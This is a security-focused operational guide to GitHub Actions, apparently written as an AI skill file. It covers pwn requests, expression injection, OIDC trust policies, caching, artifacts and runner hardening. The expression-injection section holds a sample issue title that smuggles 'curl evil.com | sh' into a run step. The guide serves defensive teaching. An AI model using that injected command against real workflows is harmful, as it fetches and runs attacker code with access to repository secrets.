GitHub Actions Operational Guide
Concise pointers for deep GitHub Actions troubleshooting, hardening, and design.
Assumes you already know workflow YAML, jobs/steps, and how to read a run log. This skill covers the operational layer — the parts models gloss over: trigger-context security, OIDC federation, matrix edge cases, cache scope, version-introduced breaking changes, and the security footguns that cause repo compromise.
When to use
Load when the question is about:
pull_request_target/workflow_run/ fork-PR secret leakage / pwn requests- Expression injection (
${{ github.event.* }}inrun:blocks) - OIDC trust setup for AWS / GCP / Azure (cloud creds without long-lived secrets)
- Concurrency groups, cancel-in-progress semantics, queued-runs behavior
- Matrix
include/excludeedge cases,fail-fast,max-parallel - Composite action vs reusable workflow design choice
- Cache scope (default-branch fallback, PR merge-ref isolation, cross-OS keys)
- Artifact v4 / cache v4 breaking changes (immutability, separate save/restore)
- Runner image pinning (
ubuntu-latestrollover) and deprecation timing GITHUB_TOKENpermissions hardening- Self-hosted runner security (ephemeral, ARC, JIT)
Do NOT load for: writing a basic on: push workflow, choosing runs-on: ubuntu-latest first time, "what is a job", how to call an action from marketplace — those don't need this skill.
Trigger security: pull_request vs pull_request_target
pull_requestruns from the PR's merge ref (refs/pull/N/merge); for PRs from forks, secrets are stripped andGITHUB_TOKENis read-only by default. Forked code is sandboxed. Safe to checkout PR head.pull_request_targetruns from the base branch workflow file with writeGITHUB_TOKENand full secrets. As of late 2025, the workflow file is always sourced from the default branch regardless of PR base.- The pwn-request pattern:
pull_request_target+actions/checkoutwithref: ${{ github.event.pull_request.head.sha }}followed by any build/install step (npm install,make,pytest) → arbitrary code execution with write token + secrets in memory. npm'spreinstall/postinstalllifecycle scripts are a common exfiltration channel. - Safe pattern when you must touch PR content: two-workflow split.
pull_requestbuilds in isolation and uploads an artifact.workflow_run(after the first completes) runs in trusted context, downloads artifact, validates, then operates. Always unzip artifacts to/tmpand validate before consuming — artifact poisoning is a documented attack. workflow_runruns against the default branch's workflow file butgithub.event.workflow_run.head_*reflects the upstream trigger. Filter viaif: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success'.
Expression injection
run: echo "${{ github.event.issue.title }}"is direct shell-template substitution — not parameter passing. Titlez"; curl evil.com | sh; #becomes inline script.- Attacker-controlled fields: issue/PR title and body, comment body, branch name, commit message (first line is
github.event.head_commit.message), email address, label names. - Mitigation: assign to env, reference via
$VAR(so the shell handles it as a string, not script):env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - Same applies to
actions/github-scriptscript:field and any place expression syntax expands into an interpreter. - Detect with the
script_injections.qlCodeQL pack from GitHub Security Lab.
OIDC federation (no long-lived cloud secrets)
- Required permission at workflow or job:
permissions: { id-token: write, contents: read }. Withoutid-token: write, the runner cannot mint the OIDC JWT. - Subject claim formats (the
subfield cloud trust policies key on):repo:OWNER/REPO:ref:refs/heads/BRANCH— branch-scopedrepo:OWNER/REPO:environment:NAME— environment-scoped (only when job declaresenvironment:)repo:OWNER/REPO:pull_request— PR-scoped (forked-PR token has reduced scope)repo:OWNER/REPO:ref:refs/tags/TAG— tag-scoped
- Trust policy must constrain
sub.StringLike: token.actions.githubusercontent.com:sub: repo:OWNER/REPO:*is the minimum acceptable — without it, ANY repo could assume the role. PreferStringEqualsagainst a specific ref/environment. - AWS:
aws-actions/configure-aws-credentials@v4withrole-to-assume(ARN) +aws-region. Audience defaults tosts.amazonaws.com. CallsAssumeRoleWithWebIdentity. - GCP:
google-github-actions/auth@v2withworkload_identity_provider(full resource path:projects/N/locations/global/workloadIdentityPools/POOL/providers/PROVIDER) +service_account(email). Direct WIF (no service account) is preferred. - Azure:
azure/login@v2withclient-id+tenant-id+subscription-id. Set up federated credential on the service principal or user-assigned managed identity, with issuerhttps://token.actions.githubusercontent.com. - Custom claims (org-scoped): repo properties prefixed
repo_property_*can be added to the JWT for fine-grained policies.
Concurrency
- Workflow-level
concurrency: { group: "${{ github.workflow }}-${{ github.ref }}", cancel-in-progress: true }— group is an evaluated expression; one run in-flight per group, new run cancels the prior. cancel-in-progress: false(default) queues instead of cancelling. Only ONE queued run is retained — additional triggers replace the queued one (the in-flight run continues unaffected).- Job-level
concurrency:for finer-grained per-deploy serialization (e.g., one production deploy at a time across all branches:group: deploy-prod). - Common pattern for deploys:
cancel-in-progress: false+ group on environment to serialize without losing runs. - Concurrency groups do not span repos or workflows unless you make the group key match.
Matrix semantics
strategy.matrix.OS: [ubuntu, macos]×node: [18, 20]produces the cross product (4 jobs).include:has two distinct behaviors:- If every original-key field in the include entry matches an existing combination, the entry adds extra fields to that combination (no new job).
- If any field does not match an original key/value, the entry adds a brand-new combination.
exclude:removes combinations matching all listed keys. Exclude evaluates before include.fail-fastdefaults totrue— one failed matrix job cancels all in-progress + queued. Setfail-fast: falseto see all failures (the standard for cross-platform/cross-version test matrices).max-parallelcaps simultaneous matrix jobs (the rest queue).- Hard cap: 256 jobs per matrix per workflow run.
- Matrix outputs collapse: if multiple matrix jobs write
outputs.X, the last writer wins. Use unique output names (outputs.${{ matrix.os }}_result) or write to artifacts.
Composite actions vs reusable workflows
- Composite action (
action.yml,runs.using: composite,runs.steps: [...]):- Runs as a sequence of steps inside the calling job on the caller's runner
- Cannot access caller secrets unless explicitly passed as
inputs:(nosecrets: inherit) - Can call other actions; can use
shell:per step - No
runs-on:— inherits from caller
- Reusable workflow (
.github/workflows/X.yml,on: workflow_call):- Called via
jobs.<id>.uses: ./.github/workflows/X.yml@SHA(same repo) orOWNER/REPO/.github/workflows/X.yml@REF(cross-repo) - Runs as separate job(s) on its own runner — distinct from caller
secrets: inheritpasses all caller secrets implicitly (only within same org/enterprise)- Environment secrets cannot pass through —
workflow_calldoes not supportenvironment:at the trigger level - Max 10 levels of nesting (top caller + 9 reusables); loops forbidden
- Called via
- Pick composite when you need to splice steps into an existing job (e.g., setup-language wrapper). Pick reusable when you want a separately-scheduled, environment-gated job.
Caching (actions/cache@v4)
key:is exact.restore-keys:is an ordered list of prefixes to fall back to.- Lookup order: exact
keyin current branch →keyprefix-match in current branch →restore-keysprefixes in current branch → repeat all three on default branch. PR-merge-ref caches are isolated to that PR's re-runs only. - Scope rules:
- Default-branch caches are visible to feature branches (write to
main, read from anywhere). - Feature-branch caches are NOT visible to
mainor sibling branches. - For PRs, also visible: caches from the base branch (including across forks).
- Default-branch caches are visible to feature branches (write to
- Cross-OS caches not interchangeable by default. Always include
${{ runner.os }}in the key, or setenableCrossOsArchive: true(opt-in, Windows-originated only). - Limits: 10 GB per repo, LRU eviction, 7-day inactive eviction regardless of size.
- v4 split:
actions/cache/restore@v4andactions/cache/save@v4are separate. Lets you save conditionally (e.g., only on cache miss + successful build) instead of the implicit POST step writeback in v3. - Common mistake: caching
node_modulesinstead of~/.npm. The latter restores faster because npm reuses unpacked content. For Yarn, cache~/.cache/yarn.
Artifacts (actions/upload-artifact@v4 / download-artifact@v4)
- v4 is immutable per-name within a workflow run — uploading to the same name twice fails rather than merging. Each artifact is now individually addressable via the API immediately after upload.
- v4 is incompatible with v3 — you cannot mix versions across upload and download.
- No automatic merge across jobs. To combine: upload with distinct names (
logs-${{ matrix.os }}), thenactions/download-artifact@v4withpattern:+merge-multiple: true, OR useactions/upload-artifact/merge@v4after the matrix completes. - 500 artifacts per job cap.
retention-days:overrides the repo default (90 days max).
Runner images and pinning
ubuntu-latestisubuntu-24.04as of late 2024 (was 22.04 prior). The label rolls automatically over a ~1-2 month window after a new GA. For reproducibility, pin toubuntu-24.04explicitly.- Active GA images: at most 2 GA + 1 beta per OS family. Old images get a deprecation notice + scheduled brownouts (failing runs at intervals) before final removal.
- Image changelog at
github.com/actions/runner-imageslists package versions per image — diff before/after rollover when "it works locally / breaks in CI." windows-latestandmacos-latestfollow the same rollover pattern; macOS lags Apple GA by ~6 months.
Self-hosted runners
- Persistent runner (default
config.sh): retains workspace + state between jobs. Compromise of one job exposes secrets, env vars, and disk artifacts to next job. Avoid for public repos. - Ephemeral runner (
config.sh --ephemeral): processes exactly one job, then auto-deregisters. Required for any runner exposed to fork PRs. - JIT registration: REST
POST /repos/{o}/{r}/actions/runners/generate-jitconfigreturns a single-use config token; runner registers, runs one job, exits. Stateless by construction. - ARC (Actions Runner Controller) for k8s: scale sets, JIT, autoscaling. The reference implementation; recommended over the legacy controller.
- Job assignment race: a runner shutting down may still receive a job. Ephemeral + JIT is the only fully-safe model.
GITHUB_TOKEN permissions
- Default scopes are org-policy controlled: either permissive (read+write across most categories) or restricted (
contents: readonly, all elsenone). Check Settings → Actions → Workflow permissions. - Override per-workflow or per-job with the
permissions:key. Listing any scope sets all unlisted scopes tonone. Usepermissions: {}to drop all (token still authenticates as the workflow but has no scopes). - Common scopes:
contents,pull-requests,issues,id-token,packages,pages,deployments,actions,checks,statuses,security-events. Each:read,write, ornone. id-token: writeis mandatory for OIDC JWT minting.- The
GITHUB_TOKENis rate-limited at 1,000 req/hour per repo (15,000 on Enterprise Cloud). Bulk operations may exhaust this — use a PAT or GitHub App for those.
Secrets, variables, and masking
- Secrets are masked one-way in logs (any matching substring becomes
***). Variables are not. - Scopes: organization > environment > repository. Environment secrets are only available to jobs that declare
environment: NAME. ${{ secrets.X }}and${{ vars.X }}evaluate server-side before the runner sees them; logs of the rendered YAML never contain the value.- Mask runtime values:
echo "::add-mask::$VALUE". Run before anyecho $VALUE. Callingadd-maskdirectly on a${{ }}interpolation in the same step still leaks because the expression resolves before the masker activates — assign to env first, then mask the env var. - Multi-line masking: each line must be masked individually, or all lines fed through a single masked variable.
- Outputs cannot be set to a masked value (the runner refuses to expose them).
Environments and protection rules
environment: NAMEon a job gates execution behind protection rules.- Required reviewers: up to 6 people/teams. Only one needs to approve.
- Wait timer: minutes value, no documented hard cap (formerly capped at 30 days).
- Deployment branches: restrict which refs can deploy via patterns; alternative is "selected branches and tags" with explicit allowlist.
- Use environments for gated production deploys instead of
if: github.actor == 'X'— actor checks are bypassable in some forked-PR contexts and offer no audit trail.
Marketplace action security
- Pin to commit SHA, not tag —
actions/checkout@v4becomesactions/checkout@A1B2.... Tags are mutable; a compromised maintainer can re-pointv4silently. SHA pinning is the only immutable reference (would require SHA-1 collision to subvert). - Dependabot's
package-ecosystem: github-actionsupdater understands SHA pinning and proposes upgrades with the resolved tag in the PR body. - The 2024-2025
tj-actions/changed-filesandreviewdog/action-setupcompromises propagated through tag re-points; SHA-pinned consumers were unaffected. - For supply-chain hardening,
step-security/harden-runnerprovides egress filtering and tampering detection on Linux runners.
Triggers — non-obvious semantics
schedule: cron: "*/5 * * * *"— minimum interval 5 minutes. UTC timezone. Runs are best-effort and can skip during high load. Cron runs only on the default branch's workflow file.workflow_dispatch.inputs.<name>.type:string,choice(withoptions:),boolean,number, orenvironment. Inputs are accessible viainputs.<name>(notgithub.event.inputsin newer syntax — both work).repository_dispatchexternal trigger:event_typeis the dispatcher's chosen string;client_payloadexposed viagithub.event.client_payload(max 10 top-level properties, 65 KB).pushandpull_requestpaths:/paths-ignore:use minimatch globs.paths-ignoreruns beforepaths; if a file matchespaths-ignore, the workflow is skipped even if it matchespaths.branches:matches against the ref triggering the event — forpull_request, it's the base branch (target of the PR), not the head.
Expressions — operational quick-ref
- Functions:
toJSON(v),fromJSON(s),hashFiles(glob),contains(haystack, needle),startsWith,endsWith,format("{0}-{1}", a, b),join(array, sep).hashFilesglob is rooted at workspace; result is SHA-256. - Status:
success()(default ifif:references a status),failure(),cancelled(),always().always()runs even if cancelled — use it for cleanup, but it makes the workflow uncancellable from the UI for that step. - Operators:
==,!=,<,<=,>,>=,&&,||,!. String comparison is case-insensitive.==does loose type coercion to numbers. - Falsy values:
false,0,-0,"",null. Missing context fields evaluate tonull(not error). - Object filter
obj.*.fieldreturns array offieldvalues across all entries. if:at the top level of a job/step accepts either bare expression or${{ }}-wrapped — both work, and combining causes parsing surprises with&&/||outside the braces.
Limits (current values to plan around)
- Job execution: 6 hours on GitHub-hosted runners; 5 days on self-hosted.
- Workflow run total time: 35 days including queue + approvals.
- Matrix: 256 jobs/run.
- API: 1,000 req/hour for
GITHUB_TOKENper repo (15k Enterprise Cloud). - Concurrent jobs: 20 (Free) / 40 (Pro) / 500 (Enterprise) total across the account; larger runners up to 1,000.
- Trigger rate: 1,500 events / 10 sec / repo before throttling; 500 workflow runs / 10 sec / repo before queue blocks new triggers.
- Artifacts: 500 per job. Cache: 10 GB per repo.
Debugging
- Repository secret
ACTIONS_STEP_DEBUG=trueenables::debug::log output (per-step expression resolution, env vars). - Repository secret
ACTIONS_RUNNER_DEBUG=trueenables runner internals (network, file I/O). - Workflow commands:
::group::TITLE/::endgroup::for collapsible blocks;::error file=path,line=N::msg,::warning::,::notice::create annotations attached to commits. - Re-run with debug logging from UI: enables both above for one run only.
act(nektos/act) for local execution: useful for fast iteration on logic, but cannot perfectly emulate runner images, OIDC, secrets behavior, or matrix scheduling. Treat its results as approximate.
Authoritative references
Official GitHub docs (docs.github.com/en/actions):
- Concurrency
- Matrix
- Reusable workflows
- OIDC overview
- OIDC AWS
- Events that trigger workflows
- Permissions / GITHUB_TOKEN
- Expressions
- Workflow commands (add-mask)
- Actions limits
Action repos:
actions/cache— scope rules in READMEactions/runner-images— image CHANGELOGsactions/upload-artifact— v4 migration notesaws-actions/configure-aws-credentialsgoogle-github-actions/authAzure/login
Security research:
- GitHub Security Lab — Preventing pwn requests
- GitHub Security Lab — Untrusted input / expression injection
- Step Security blog — supply-chain attacks, hardened-runner guidance
Guardrails
Before recommending a workflow change that touches secrets, triggers, or write-scoped tokens:
- Quote the exact trigger and
permissions:scope being granted. - State whether the workflow consumes any attacker-controlled input (
github.event.*from PR/issue/comment). - If
pull_request_targetorworkflow_runis involved, verify there is no checkout-then-execute of PR-controlled content. - For OIDC, name the cloud
subconstraint so the role cannot be assumed by other repos.
Default tokens are too generous; never weaken permissions: to fix a 403 — fix the missing scope explicitly.